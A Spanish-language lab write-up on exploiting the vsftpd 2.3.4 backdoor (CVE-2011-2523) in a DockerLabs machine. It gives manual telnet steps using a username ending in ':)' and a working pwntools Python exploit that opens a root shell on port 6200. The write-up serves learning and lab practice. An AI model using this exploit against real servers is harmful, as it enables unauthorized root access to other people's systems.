Explotando el Backdoor de vsftpd 2.3.4
Hace un rato estaba realizando el laboratirio FirstHacking de nivel very easy en la plataforma dockerlabs en la que hay que explotar una vulnerabilidad del servicio FTP que tiene la version vsftpd 2.3.4 la cual tiene una vulnerabilidad que nos permite obtener una shell como el usuario root
La manera mas facil de lograr esto es usar un modulo de Metasploit, sin embargo a mi no me gusta mucho el uso de esta herramienta, no estoy en contra de su uso ya que es muy util y poderosa, obviamente la he utilizado y hay algunos exploits que solo he encontrado en Metasploit, sin embargo, no hay que depender totalmente de esta herramienta y hay que investigar acerca de las vulnerabilidades para poder aprender de una mejor manera
Descripcion
Investigando sobre esta vulnerabilidad pude ver que en realidad se trata de un Backdoor que alguien agrego al codigo fuente de manera maliciosa
Para acceder a este Backdoor debemos enviar cualquier usuario, pero al final debe contener los caracteres :) (si, asi es, una carita feliz) y cualquier contraseña, una vez que se haya realizado esto, se abrira una shell en la maquina vulnerable
Explotacion manual
Lo primero que haremos para acceder a este Backdoor es conectarnos al servicio, pero no lo haremos por ftp ya que la conexión se cierra al escribir la contraseña, nos conectaremos mediante telnet
telnet 172.17.0.2 21
Una vez conectados, tenemos que especificar el usuario y la contraseña, el usuario puede ser el que sea, pero debe terminar con una carita feliz :) y la contraseña puede ser cualquiera
USER usuario:)
PASS password
Una vez hayamos enviado estos datos, el servidor abrira su puerto 6200 que en realidad es una shell a la que nos podemos conectar, para esto podemos utilizar netcat en otra terminal
Parece que no paso nada, sin embargo no dice que la conexión fue rechazada ni nos da ningun error, asi que probemos enviando algunos comandos
Por lo que podemos ver, la conexión si funciono y tenemos una shell como el usuario root
Exploit
Debido a que es bastante facil de replicar, hice un exploit en python para poder acceder al Backdoor de manera automatica. El exploit esta hecho con la libreria pwntools, la cual es mayormente usada para explotacion de binarios, pero nada me impide utilizarla para esto, ademas de que es bastante simple de usar y tiene funciones que me ayudan mucho en la automatizacion
El exploit esta disponible en mi perfil de github y lo pueden clonar con el comando
git clone https://github.com/Lychi3/vsftpd-backdoor.git
Analizando el codigo
Vamos a analizar el codigo, ver como funciona y explicar la parte que hace que el exploit funcione
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Función para explotar el backdoor
def exploit():
try:
# Conexión al servidor FTP
print(f"[*] Conectando al servidor FTP en {host}:{port_ftp}")
ftp = remote(host, port_ftp)
ftp_response = ftp.recvuntil(b"(vsFTPd 2.3.4)")
print(f'Banner: {ftp_response}')
# Enviar el usuario malicioso
print("[*] Enviando usuario malicioso")
ftp.sendline(b"USER anonymous:)")
# Esperar la respuesta del servidor
ftp.recvuntil(b"password.")
# Enviar cualquier contraseña (no es necesaria)
print("[*] Enviando contraseña")
ftp.sendline(b"PASS pass")
# Intentar conectarse al backdoor en el puerto 6200
print(f"[*] Intentando conectarse al backdoor en {host}:{port_backdoor}")
backdoor = remote(host, port_backdoor)
# Si la conexión es exitosa, obtenemos una shell
print("[+] Backdoor conectado al puerto 6200")
print("[+] Shell interactiva abierta")
backdoor.interactive()
Para entender mejor esta función vamos a desglosarla y explicar cada una de sus partes
1
2
3
ftp = remote(host, port_ftp)
ftp_response = ftp.recvuntil(b"(vsFTPd 2.3.4)")
print(f'Banner: {ftp_response}')
En la primera linea estamos creando una conexión al servidor ftp mediante una funcion de la libreria pwntools, despues esperamos la respuesta del servidor, pero la respuesta debe ser "(vsFTPd 2.3.4)" y finalmente imprimimos esa respuesta
1
2
3
4
5
6
print("[*] Enviando usuario malicioso")
ftp.sendline(b"USER anonymous:)")
ftp.recvuntil(b"password.")
print("[*] Enviando contraseña")
ftp.sendline(b"PASS pass")
Con esta seccion del codigo, estamos enviando el usuario con la carita feliz :) para activar el exploit y una contraseña cualquiera para que el servidor inicie la shell
1
2
3
4
5
6
print(f"[*] Intentando conectarse al backdoor en {host}:{port_backdoor}")
backdoor = remote(host, port_backdoor)
print("[+] Backdoor conectado al puerto 6200")
print("[+] Shell interactiva abierta")
backdoor.interactive()
Y finalmente tenemos esta seccion de codigo, en la que primero informamos a donde nos vamos a conectar, despues creamos una nueva conexión al purto donde se crea el backdoor, si se acepta la conexión, se imprimen los mensajes que indican que se pudo abrir una shell y con la ultima linea llamamos a una funcion de pwntools que nos pone en un modo interactivo para enviar comandos y recibir la respuesta del servidor
Referencias
https://nvd.nist.gov/vuln/detail/CVE-2011-2523
https://www.h1rd.com/hacking/Metasploitable2-vsftpd-manual



